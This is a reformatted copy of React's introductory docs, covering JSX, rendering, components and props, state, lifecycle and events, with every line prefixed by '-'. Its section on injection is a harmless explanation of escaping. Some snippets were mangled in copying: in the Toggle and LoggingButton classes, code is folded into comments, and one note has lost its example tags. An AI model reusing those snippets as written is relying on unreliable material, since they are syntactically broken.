-React [doesn't require](https://reactjs.org/docs/react-without-jsx.html ) using JSX, but most people find it helpful as a visual aid when working with UI inside the JavaScript code. It also allows React to show more useful error and warning messages.
-  
-With that out of the way, let's get started!
-  
----
-  
----
-  
-###  Embedding Expressions in JSX
-  
-  
-> - In the example below, we declare a variable called `name` and then use it inside JSX by wrapping it in curly braces:
-  
-```js
-const name = "Josh Perez";
-const element = <h1>Hello, {name}</h1>;
-ReactDOM.render(element, document.getElementById("root"));
-```
-  
-You can put any valid [JavaScript expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions ) inside the curly braces in JSX. ##### For example, `2 + 2`, `user.firstName`, or `formatName(user)` are all valid JavaScript expressions.
-  
-> - In the example below, we embed the result of calling a JavaScript function, `formatName(user)`, into an `<h1>` element.
-  
----
-
-```js
-function formatName(user) {
-    return user.firstName + ' ' + user.lastName;
-}
-
-const user = {
-    firstName: 'Harper',
-    lastName: 'Perez'
-};
-
-const element = <h1> Hello, {formatName(user)}! </h1>;
-
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/introducing-jsx"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_oNwgZgm)**](https://codepen.io/bgoonz/pen/oNwgZgm )
-  
-#####  We split JSX over multiple lines for readability. While it isn't required, when doing this, we also recommend wrapping it in parentheses to avoid the pitfalls of [automatic semicolon insertion](https://stackoverflow.com/q/2846283 ).
-  
-  
----
-  
----
-  
-###  JSX is an Expression Too
-  
-  
-After compilation, JSX expressions become regular JavaScript function calls and evaluate to JavaScript objects.
-  
-This means that you can use JSX inside of `if` statements and `for` loops, assign it to variables, accept it as arguments, and return it from functions:
-  
----
-
-```js
-function getGreeting(user) {
-    if (user) {
-        return <h1>Hello, {formatName(user)}!</h1>;
-    }
-    return <h1>Hello, Stranger.</h1>;
-}
-```
-
----
-
----
-
-### Specifying Attributes with JSX
-
-You may use quotes to specify string literals as attributes:
-
-```js
-const element = <div tabIndex="0"></div>;
-```
-
-You may also use curly braces to embed a JavaScript expression in an attribute:
-
-```js
-const element = <img src={user.avatarUrl}></img>;
-```
-
-Don't put quotes around curly braces when embedding a JavaScript expression in an attribute. You should either use quotes (for string values) or curly braces (for expressions), but not both in the same attribute.
-
-> Warning:Since JSX is closer to JavaScript than to HTML, React DOM uses camelCase property naming convention instead of HTML attribute names.##### For example, class becomes className in JSX, and tabindex becomes tabIndex.
-
----
-
----
-
-### Specifying Children with JSX
-
-If a tag is empty, you may close it immediately with `/>`, like XML:
-
-```js
-const element = <img src={user.avatarUrl} />;
-```
-
-JSX tags may contain children:
-
-```js
-const element = (
-    <div>
-        <h1>Hello!</h1>
-        <h2>Good to see you here.</h2>
-    </div>
-);
-```
-
----
-
----
-
-### JSX Prevents Injection Attacks
-
-It is safe to embed user input in JSX:
-
-```js
-const title = response.potentiallyMaliciousInput;
-// This is safe:
-const element = <h1>{title}</h1>;
-```
-
-By default, React DOM [escapes](https://stackoverflow.com/questions/7381974/which-characters-need-to-be-escaped-on-html) any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything that's not explicitly written in your application. Everything is converted to a string before being rendered. This helps prevent [XSS (cross-site-scripting)](https://en.wikipedia.org/wiki/Cross-site_scripting) attacks.
-
----
-
----
-
-### JSX Represents Objects
-
-Babel compiles JSX down to `React.createElement()` calls.
-
-These two examples are identical:
-
-```js
-const element = <h1 className="greeting">Hello, world!</h1>;
-```
-
-```
-const element = React.createElement(
-  'h1',
-  {className: 'greeting'},
-  'Hello, world!'
-);
-```
-
-`React.createElement()` performs a few checks to help you write bug-free code but essentially it creates an object like this:
-
-```js
-// Note: this structure is simplified
-const element = {
-    type: 'h1',
-    props: {
-        className: 'greeting',
-        children: 'Hello, world!'
-    }
-};
-```
-
--   These objects are called "React elements". You can think of them as descriptions of what you want to see on the screen. React reads these objects and uses them to construct the DOM and keep it up to date.
-
-##### We will explore rendering React elements to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html).
-
-> Tip:We recommend using the "Babel" language definition for your editor of choice so that both ES6 and JSX code is properly highlighted.
-
----
-
----
-
-### **Rendering Elements**
-
----
-
-### Elements are the smallest building blocks of React apps.
-
-An element describes what you want to see on the screen:
-
-`const element = <h1>Hello, world</h1>;`
-
-Unlike browser DOM elements, React elements are plain objects, and are cheap to create. React DOM takes care of updating the DOM to match the React elements.
-
-> Note:One might confuse elements with a more widely known concept of "components". We will introduce components in the next section. Elements are what components are "made of", and we encourage you to read this section before jumping ahead.
-
----
-
----
-
-### Rendering an Element into the DOM
-
-Let's say there is a `<div>` somewhere in your HTML file:
-
-```js
-<div id="root"></div>
-```
-
-##### We call this a "root" DOM node because everything inside it will be managed by React DOM.
-
-Applications built with just React usually have a single root DOM node. If you are integrating React into an existing app, you may have as many isolated root DOM nodes as you like.
-
-To render a React element into a root DOM node, pass both to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render> )`:
-
-```js
-const element = <h1>Hello, world</h1>;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/rendering-elements/render-an-element"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_mdwyWeb?editors=0010)**](https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010 )
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010"></iframe>
-  
-It displays "Hello, world" on the page.
-  
----
-  
----
-  
-###  Updating the Rendered Element
-  
-  
-React elements are [immutable](https://en.wikipedia.org/wiki/Immutable_object ). Once you create an element, you can't change its children or attributes. An element is like a single frame in a movie: it represents the UI at a certain point in time.
-  
-With our knowledge so far, the only way to update the UI is to create a new element, and pass it to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render> )`.
-  
-Consider this ticking clock example:
-  
----
-
-```js
-function tick() {
-    const element = (
-        <div>
-            {' '}
-            <h1>Hello, world!</h1> <h2>It is {new Date().toLocaleTimeString()}.</h2>{' '}
-        </div>
-    );
-    ReactDOM.render(element, document.getElementById('root'));
-}
-
-setInterval(tick, 1000);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_eYRmvNy?editors=0010)**](https://codepen.io/bgoonz/pen/eYRmvNy?editors=0010 )
-  
-It calls `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render> )` every second from a `[setInterval()](<https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval> )` callback.
-  
-> Note:In practice, most React apps only call ReactDOM.render() once. In the next sections we will learn how such code gets encapsulated into stateful components.We recommend that you don't skip topics because they build on each other.
-  
----
-  
----
-  
-###  React Only Updates What's Necessary
-  
-  
-React DOM compares the element and its children to the previous one, and only applies the DOM updates necessary to bring the DOM to the desired state.
-  
-You can verify by inspecting the [last example](https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element ) with the browser tools:
-  
-![https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif](https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif )
-  
-Even though we create an element describing the whole UI tree on every tick, only the text node whose contents have changed gets updated by React DOM.
-  
-> - In our experience, thinking about how the UI should look at any given moment, rather than how to change it over time, eliminates a whole class of bugs.
-  
----
-  
----
-  
-###  **Components and Props**
-  
-  
----
-  
-###  Components let you split the UI into independent, reusable pieces, and think about each piece in isolation. This page provides an introduction to the idea of components. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html ).
-  
-  
-Conceptually, components are like JavaScript functions. They accept arbitrary inputs (called "props") and return React elements describing what should appear on the screen.
-  
----
-  
----
-  
-###  Function and Class Components
-  
-  
-The simplest way to define a component is to write a JavaScript function:
-  
----
-
-```js
-function Welcome(props) {
-    return <h1>Hello, {props.name}</h1>;
-}
-```
-
--   This function is a valid React component because it accepts a single "props" (which stands for properties) object argument with data and returns a React element. We call such components "function components" because they are literally JavaScript functions.
-
-You can also use an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes) to define a component:
-
-```js
-class Welcome extends React.Component {
-    render() {
-        return <h1>Hello, {this.props.name}</h1>;
-    }
-}
-```
-
--   The above two components are equivalent from React's point of view.
-
-Function and Class components both have some additional features that we will discuss in the [next sections](https://reactjs.org/docs/state-and-lifecycle.html).
-
----
-
----
-
-### Rendering a Component
-
-Previously, we only encountered React elements that represent DOM tags:
-
-```js
-const element = <div />;
-```
-
-However, elements can also represent user-defined components:
-
-```js
-const element = <Welcome name="Sara" />;
-```
-
-> When React sees an element representing a user-defined component, it passes JSX attributes and children to this component as a single object. We call this object "props".
-
-##### For example, this code renders "Hello, Sara" on the page:
-
----
-
-```js
-function Welcome(props) {
-    return <h1>Hello, {props.name}</h1>;
-}
-
-const element = <Welcome name="Sara" />;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/components-and-props/rendering-a-component"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_QWgwpjd?editors=0010)**](https://codepen.io/bgoonz/pen/QWgwpjd?editors=0010 )
-  
-Let's recap what happens in this example:
-  
-1. We call `ReactDOM.render()` with the `<Welcome name="Sara" />` element.
-2. React calls the `Welcome` component with `{name: 'Sara'}` as the props.
-3. Our `Welcome` component returns a `<h1>Hello, Sara</h1>` element as the result.
-4. React DOM efficiently updates the DOM to match `<h1>Hello, Sara</h1>`.
-  
-> Note: Always start component names with a capital letter.React treats components starting with lowercase letters as DOM tags. ##### For example,
->
-> represents an HTML div tag, but represents a component and requires Welcome to be in [scope.To](http://scope.to ) learn more about the reasoning behind this convention, please read JSX In Depth.
-  
----
-  
----
-  
-###  Composing Components
-  
-  
-Components can refer to other components in their output. This lets us use the same component abstraction for any level of detail. A button, a form, a dialog, a screen: in React apps, all those are commonly expressed as components.
-  
-#####  For example, we can create an `App` component that renders `Welcome` many times:
-  
-  
----
-
-```js
-function Welcome(props) {
-    return <h1>Hello, {props.name}</h1>;
-}
-
-function App() {
-    return (
-        <div>
-            {' '}
-            <Welcome name="Sara" /> <Welcome name="Cahal" /> <Welcome name="Edite" />{' '}
-        </div>
-    );
-}
-
-ReactDOM.render(<App />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/components-and-props/composing-components"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_LYLEWNq?editors=0010)**](https://codepen.io/bgoonz/pen/LYLEWNq?editors=0010 )
-  
-Typically, new React apps have a single `App` component at the very top. However, if you integrate React into an existing app, you might start bottom-up with a small component like `Button` and gradually work your way to the top of the view hierarchy.
-  
----
-  
----
-  
-###  Extracting Components
-  
-  
-Don't be afraid to split components into smaller components.
-  
-#####  For example, consider this `Comment` component:
-  
-  
----
-
-```js
-function Comment(props) {
-    return (
-        <div className="Comment">
-            <div className="UserInfo">
-                <img className="Avatar" src={props.author.avatarUrl} alt={props.author.name} />
-                <div className="UserInfo-name">{props.author.name}</div>
-            </div>
-            <div className="Comment-text">{props.text}</div>
-            <div className="Comment-date">{formatDate(props.date)}</div>
-        </div>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/PojwpzP?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_PojwpzP?editors=0010)**](https://codepen.io/bgoonz/pen/PojwpzP?editors=0010 )
-  
-It accepts `author` (an object), `text` (a string), and `date` (a date) as props, and describes a comment on a social media website.
-  
-This component can be tricky to change because of all the nesting, and it is also hard to reuse individual parts of it. Let's extract a few components from it.
-  
-First, we will extract `Avatar`:
-  
----
-
-```js
-function Avatar(props) {
-    return <img className="Avatar" src={props.user.avatarUrl} alt={props.user.name} />;
-}
-```
-
--   The `Avatar` doesn't need to know that it is being rendered inside a `Comment`. This is why we have given its prop a more generic name: `user` rather than `author`.
-
-##### We recommend naming props from the component's own point of view rather than the context in which it is being used.
-
-##### We can now simplify `Comment` a tiny bit:
-
----
-
-```js
-function Comment(props) {
-    return (
-        <div className="Comment">
-            {' '}
-            <div className="UserInfo">
-                {' '}
-                <Avatar user={props.author} /> <div className="UserInfo-name"> {props.author.name}</div>{' '}
-            </div> <div className="Comment-text"> {props.text}</div> <div className="Comment-date"> {formatDate(props.date)}</div>{' '}
-        </div>
-    );
-}
-```
-
-Next, we will extract a `UserInfo` component that renders an `Avatar` next to the user's name:
-
-`function UserInfo(props) { return ( <div className="UserInfo"> <Avatar user={props.user} /> <div className="UserInfo-name"> {props.user.name} </div> </div> ); }`
-
-This lets us simplify `Comment` even further:
-
----
-
-```js
-function Comment(props) {
-    return (
-        <div className="Comment">
-            {' '}
-            <UserInfo user={props.author} /> <div className="Comment-text"> {props.text}</div> <div className="Comment-date">
-                {' '}
-                {formatDate(props.date)}
-            </div>{' '}
-        </div>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/components-and-props/extracting-components-continued"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_eYRmvzV?editors=0010)**](https://codepen.io/bgoonz/pen/eYRmvzV?editors=0010 )
-  
-Extracting components might seem like grunt work at first, but having a palette of reusable components pays off in larger apps. A good rule of thumb is that if a part of your UI is used several times (`Button`, `Panel`, `Avatar`), or is complex enough on its own (`App`, `FeedStory`, `Comment`), it is a good candidate to be extracted to a separate component.
-  
----
-  
----
-  
-###  Props are Read-Only
-  
-  
-Whether you declare a component [as a function or a class](https://reactjs.org/docs/components-and-props.html#function-and-class-components ), it must never modify its own props. Consider this `sum` function:
-  
----
-
-```js
-function sum(a, b) {
-    return a + b;
-}
-```
-
-Such functions are called ["pure"](https://en.wikipedia.org/wiki/Pure_function) because they do not attempt to change their inputs, and always return the same result for the same inputs.
-
-> -   In contrast, this function is impure because it changes its own input:
-
----
-
-```js
-function withdraw(account, amount) {
-    account.total -= amount;
-}
-```
-
-React is pretty flexible but it has a single strict rule:
-
-**All React components must act like pure functions with respect to their props.**
-
-Of course, application UIs are dynamic and change over time. In the [next section](https://reactjs.org/docs/state-and-lifecycle.html), we will introduce a new concept of "state". State allows React components to change their output over time in response to user actions, network responses, and anything else, without violating this rule.
-
----
-
----
-
-### **State and Lifecycle**
-
----
-
-### This page introduces the concept of state and lifecycle in a React component. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Consider the ticking clock example from [one of the previous sections](https://reactjs.org/docs/rendering-elements.html#updating-the-rendered-element). In [Rendering Elements](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom), we have only learned one way to update the UI. We call `ReactDOM.render()` to change the rendered output:
-
----
-
-```js
-function tick() {
-    const element = (
-        <div>
-            {' '}
-            <h1>Hello, world!</h1> <h2>It is {new Date().toLocaleTimeString()}.</h2>{' '}
-        </div>
-    );
-    ReactDOM.render(element, document.getElementById('root'));
-}
-
-setInterval(tick, 1000);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/gwoJZk?editors=0010)
-  
-> - In this section, we will learn how to make the `Clock` component truly reusable and encapsulated. It will set up its own timer and update itself every second.
-  
-#####  We can start by encapsulating how the clock looks:
-  
-  
----
-
-```js
-function Clock(props) {
-    return (
-        <div>
-            {' '}
-            <h1>Hello, world!</h1> <h2>It is {props.date.toLocaleTimeString()}.</h2>{' '}
-        </div>
-    );
-}
-
-function tick() {
-    ReactDOM.render(<Clock date={new Date()} />, document.getElementById('root'));
-}
-
-setInterval(tick, 1000);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/dpdoYR?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_powvegw?editors=0010)**](https://codepen.io/bgoonz/pen/powvegw?editors=0010 )
-  
-However, it misses a crucial requirement: the fact that the `Clock` sets up a timer and updates the UI every second should be an implementation detail of the `Clock`.
-  
-Ideally we want to write this once and have the `Clock` update itself:
-  
-```js
-ReactDOM.render(<Clock />, document.getElementById("root"));
-```
-  
-- To implement this, we need to add "state" to the `Clock` component.
-  
-State is similar to props, but it is private and fully controlled by the component.
-  
----
-  
----
-  
-###  Converting a Function to a Class
-  
-  
-You can convert a function component like `Clock` to a class in five steps:
-  
-1. Create an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes ), with the same name, that extends `React.Component`.
-2. Add a single empty method to it called `render()`.
-3. Move the body of the function into the `render()` method.
-4. Replace `props` with `this.props` in the `render()` body.
-5. Delete the remaining empty function declaration.
-  
-```
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>
-        <h1>Hello, world!</h1>
-        <h2>It is {this.props.date.toLocaleTimeString()}.</h2>
-      </div>);
-  }
-}
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/zKRGpo?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(~~pen=~~**\_eYRmvJV?editors=0010)**](https://codepen.io/bgoonz/pen/eYRmvJV?editors=0010 )
-  
-`Clock` is now defined as a class rather than a function.
-  
-The `render` method will be called each time an update happens, but as long as we render `<Clock />` into the same DOM node, only a single instance of the `Clock` class will be used. This lets us use additional features such as local state and lifecycle methods.
-  
----
-  
----
-  
-###  Adding Local State to a Class
-  
-  
-#####  We will move the `date` from props to state in three steps:
-  
-  
-1. Replace `this.props.date` with `this.state.date` in the `render()` method:
-  
-```js
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>
-        {" "}
-        <h1>Hello, world!</h1> <h2>
-          It is {this.state.date.toLocaleTimeString()}.
-        </h2>{" "}
-      </div>
-    );
-  }
-}
-```
-  
-1. Add a [class constructor](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes#Constructor ) that assigns the initial `this.state`:
-  
-```js
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = { date: new Date() };
-  }
-  
-  render() {
-    return (
-      <div>
-        {" "}
-        <h1>Hello, world!</h1> <h2>
-          It is {this.state.date.toLocaleTimeString()}.
-        </h2>{" "}
-      </div>
-    );
-  }
-}
-```
-  
-Note how we pass `props` to the base constructor:
-  
-```js
- constructor(props) {
-    super(props);    this.state = {date: new Date()};
-  }
-```
-  
-Class components should always call the base constructor with `props`.
-  
-1. Remove the `date` prop from the `<Clock />` element:
-  
-```js
-ReactDOM.render(<Clock />, document.getElementById("root"));
-```
-  
-> We will later add the timer code back to the component itself.
-  
-The result looks like this:
-  
-```js
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = { date: new Date() };
-  }
-  render() {
-    return (
-      <div>
-        {" "}
-        <h1>Hello, world!</h1> <h2>
-          It is {this.state.date.toLocaleTimeString()}.
-        </h2>{" "}
-      </div>
-    );
-  }
-}
-  
-ReactDOM.render(<Clock />, document.getElementById("root"));
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/KgQpJd?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_oNwgZbV?editors=0010)**](https://codepen.io/bgoonz/pen/oNwgZbV?editors=0010 )
-  
-Next, we'll make the `Clock` set up its own timer and update itself every second.
-  
----
-  
----
-  
-###  Adding Lifecycle Methods to a Class
-  
-  
-> - In applications with many components, it's very important to free up resources taken by the components when they are destroyed.
-  
-#####  We want to [set up a timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval ) whenever the `Clock` is rendered to the DOM for the first time. This is called "mounting" in React.
-  
-  
-#####  We also want to [clear that timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/clearInterval ) whenever the DOM produced by the `Clock` is removed. This is called "unmounting" in React.
-  
-  
-#####  We can declare special methods on the component class to run some code when a component mounts and unmounts:
-  
-  
-```js
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = { date: new Date() };
-  }
-  
-  componentDidMount() {}
-  componentWillUnmount() {}
-  render() {
-    return (
-      <div>
-        {" "}
-        <h1>Hello, world!</h1> <h2>
-          It is {this.state.date.toLocaleTimeString()}.
-        </h2>{" "}
-      </div>
-    );
-  }
-}
-```
-  
-- These methods are called "lifecycle methods".
-  
-The `componentDidMount()` method runs after the component output has been rendered to the DOM. This is a good place to set up a timer:
-  
-```js
-  componentDidMount() {
-    this.timerID = setInterval(      () => this.tick(),      1000    );  }
-```
-  
-Note how we save the timer ID right on `this` (`this.timerID`).
-  
-While `this.props` is set up by React itself and `this.state` has a special meaning, you are free to add additional fields to the class manually if you need to store something that doesn't participate in the data flow (like a timer ID).
-  
-#####  We will tear down the timer in the `componentWillUnmount()` lifecycle method:
-  
-  
-```js
-  componentWillUnmount() {
-    clearInterval(this.timerID);  }
-```
-  
-Finally, we will implement a method called `tick()` that the `Clock` component will run every second.
-  
-It will use `this.setState()` to schedule updates to the component local state:
-  
-```js
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = { date: new Date() };
-  }
-  
-  componentDidMount() {
-    this.timerID = setInterval(() => this.tick(), 1000);
-  }
-  
-  componentWillUnmount() {
-    clearInterval(this.timerID);
-  }
-  
-  tick() {
-    this.setState({ date: new Date() });
-  }
-  render() {
-    return (
-      <div>
-        {" "}
-        <h1>Hello, world!</h1> <h2>
-          It is {this.state.date.toLocaleTimeString()}.
-        </h2>{" "}
-      </div>
-    );
-  }
-}
-  
-ReactDOM.render(<Clock />, document.getElementById("root"));
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/amqdNA?editors=0010)
-  
-Now the clock ticks every second.
-  
-Let's quickly recap what's going on and the order in which the methods are called:
-  
-1. When `<Clock />` is passed to `ReactDOM.render()`, React calls the constructor of the `Clock` component. Since `Clock` needs to display the current time, it initializes `this.state` with an object including the current time. We will later update this state.
-2. React then calls the `Clock` component's `render()` method. This is how React learns what should be displayed on the screen. React then updates the DOM to match the `Clock`'s render output.
-3. When the `Clock` output is inserted in the DOM, React calls the `componentDidMount()` lifecycle method. Inside it, the `Clock` component asks the browser to set up a timer to call the component's `tick()` method once a second.
-4. Every second the browser calls the `tick()` method. Inside it, the `Clock` component schedules a UI update by calling `setState()` with an object containing the current time. Thanks to the `setState()` call, React knows the state has changed, and calls the `render()` method again to learn what should be on the screen. This time, `this.state.date` in the `render()` method will be different, and so the render output will include the updated time. React updates the DOM accordingly.
-5. If the `Clock` component is ever removed from the DOM, React calls the `componentWillUnmount()` lifecycle method so the timer is stopped.
-  
----
-  
----
-  
-###  Using State Correctly
-  
-  
-There are three things you should know about `setState()`.
-  
----
-  
----
-  
-###  Do Not Modify State Directly
-  
-  
-#####  For example, this will not re-render a component:
-  
-  
-```js
-// Wrong
-this.state.comment = "Hello";
-```
-  
-####  Instead, use `setState()`:
-  
-  
-```js
-// Correct
-this.setState({ comment: "Hello" });
-```
-  
-- The only place where you can assign `this.state` is the constructor.
-  
----
-  
----
-  
-###  State Updates May Be Asynchronous
-  
-  
-React may batch multiple `setState()` calls into a single update for performance.
-  
-Because `this.props` and `this.state` may be updated asynchronously, you should not rely on their values for calculating the next state.
-  
-#####  For example, this code may fail to update the counter:
-  
-  
-```js
-// Wrong
-this.setState({
-  counter: this.state.counter + this.props.increment,
-});
-```
-  
-- To fix it, use a second form of `setState()` that accepts a function rather than an object. That function will receive the previous state as the first argument, and the props at the time the update is applied as the second argument:
-  
-```js
-// Correct
-this.setState((state, props) => ({
-  counter: state.counter + props.increment,
-}));
-```
-  
-> We used an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions ) above, but it also works with regular functions:
-  
-```js
-// Correct
-this.setState(function (state, props) {
-  return {
-    counter: state.counter + props.increment,
-  };
-});
-```
-  
----
-  
----
-  
-###  State Updates are Merged
-  
-  
-When you call `setState()`, React merges the object you provide into the current state.
-  
-#####  For example, your state may contain several independent variables:
-  
-  
-```js
-  constructor(props) {
-    super(props);
-    this.state = {
-      posts: [],      comments: []    };
-  }
-```
-  
-- Then you can update them independently with separate `setState()` calls:
-  
-```js
-  componentDidMount() {
-    fetchPosts().then(response => {
-      this.setState({
-        posts: response.posts      });
-    });
-  
-    fetchComments().then(response => {
-      this.setState({
-        comments: response.comments      });
-    });
-  }
-```
-  
-- The merging is shallow, so `this.setState({comments})` leaves `this.state.posts` intact, but completely replaces `this.state.comments`.
-  
----
-  
----
-  
-###  The Data Flows Down
-  
-  
-Neither parent nor child components can know if a certain component is stateful or stateless, and they shouldn't care whether it is defined as a function or a class.
-  
-This is why state is often called local or encapsulated. It is not accessible to any component other than the one that owns and sets it.
-  
-A component may choose to pass its state down as props to its child components:
-  
-```js
-<FormattedDate date={this.state.date} />
-```
-  
-- The `FormattedDate` component would receive the `date` in its props and wouldn't know whether it came from the `Clock`'s state, from the `Clock`'s props, or was typed by hand:
-  
----
-
-```js
-function FormattedDate(props) {
-    return <h2>It is {props.date.toLocaleTimeString()}.</h2>;
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/zKRqNB?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_GREgWEp?editors=0010)**](https://codepen.io/bgoonz/pen/GREgWEp?editors=0010 )
-  
-This is commonly called a "top-down" or "unidirectional" data flow. Any state is always owned by some specific component, and any data or UI derived from that state can only affect components "below" them in the tree.
-  
-If you imagine a component tree as a waterfall of props, each component's state is like an additional water source that joins it at an arbitrary point but also flows down.
-  
-To show that all components are truly isolated, we can create an `App` component that renders three `<Clock>`s:
-  
----
-
-```js
-function App() {
-    return (
-        <div>
-            {' '}
-            <Clock /> <Clock /> <Clock />{' '}
-        </div>
-    );
-}
-
-ReactDOM.render(<App />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/vXdGmd?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_YzQPZQK?editors=0010)**](https://codepen.io/bgoonz/pen/YzQPZQK?editors=0010 )
-  
-Each `Clock` sets up its own timer and updates independently.
-  
-> - In React apps, whether a component is stateful or stateless is considered an implementation detail of the component that may change over time. You can use stateless components inside stateful components, and vice versa.
-  
----
-  
----
-  
-###  **Handling Events**
-  
-  
----
-  
-###  Handling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:
-  
-  
-- React events are named using camelCase, rather than lowercase.
-- With JSX you pass a function as the event handler, rather than a string.
-  
-#####  For example, the HTML:
-  
-  
-```js
-<button onclick="activateLasers()">Activate Lasers</button>
-```
-  
-is slightly different in React:
-  
-```js
-<button onClick={activateLasers}> Activate Lasers</button>
-```
-  
-Another difference is that you cannot return `false` to prevent default behavior in React. You must call `preventDefault` explicitly. ##### For example, with plain HTML, to prevent the default form behavior of submitting, you can write:
-  
-```js
-<form onsubmit="console.log('You clicked submit.'); return false">
-  <button type="submit">Submit</button>
-</form>
-```
-  
-####  In React, this could instead be:
-  
-  
----
-
-```js
-function Form() {
-    function handleSubmit(e) {
-        e.preventDefault();
-        console.log('You clicked submit.');
-    }
-
-    return (
-        <form onSubmit={handleSubmit}>
-            {' '}
-            <button type="submit">Submit</button>{' '}
-        </form>
-    );
-}
-```
-
-Here, `e` is a synthetic event. React defines these synthetic events according to the [W3C spec](https://www.w3.org/TR/DOM-Level-3-Events/), so you don't need to worry about cross-browser compatibility. React events do not work exactly the same as native events. See the `[SyntheticEvent](<https://reactjs.org/docs/events.html> )` reference guide to learn more.
-
-When using React, you generally don't need to call `addEventListener` to add listeners to a DOM element after it is created. Instead, just provide a listener when the element is initially rendered.
-
-When you define a component using an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), a common pattern is for an event handler to be a method on the class. ##### For example, this `Toggle` component renders a button that lets the user toggle between "ON" and "OFF" states:
-
-```js
-class Toggle extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {isToggleOn: true};
-
-    // This binding is necessary to make `this` work in the callback    this.handleClick = this.handleClick.bind(this);  }
-
-  handleClick() {    this.setState(prevState => ({      isToggleOn: !prevState.isToggleOn    }));  }render() {
-    return (
-      <button onClick={this.handleClick}>        {this.state.isToggleOn ? 'ON' : 'OFF'}
-      </button>);
-  }
-}
-
-ReactDOM.render(
-  <Toggle />,
-  document.getElementById('root')
-);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/xEmzGg?editors=0010)
-  
-You have to be careful about the meaning of `this` in JSX callbacks. In JavaScript, class methods are not [bound](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind ) by default. If you forget to bind `this.handleClick` and pass it to `onClick`, `this` will be `undefined` when the function is actually called.
-  
-This is not React-specific behavior; it is a part of [how functions work in JavaScript](https://www.smashingmagazine.com/2014/01/understanding-javascript-function-prototype-bind/ ). Generally, if you refer to a method without `()` after it, such as `onClick={this.handleClick}`, you should bind that method.
-  
-If calling `bind` annoys you, there are two ways you can get around this. If you are using the experimental [public class fields syntax](https://babeljs.io/docs/plugins/transform-class-properties/ ), you can use class fields to correctly bind callbacks:
-  
-```js
-class LoggingButton extends React.Component {
-  // This syntax ensures `this` is bound within handleClick.  // Warning: this is *experimental* syntax.  handleClick = () => {    console.log('this is:', this);  }render() {
-    return (
-      <button onClick={this.handleClick}>        Click me
-      </button>);
-  }
-}
-```
-  
-- This syntax is enabled by default in [Create React App](https://github.com/facebookincubator/create-react-app ).
-  
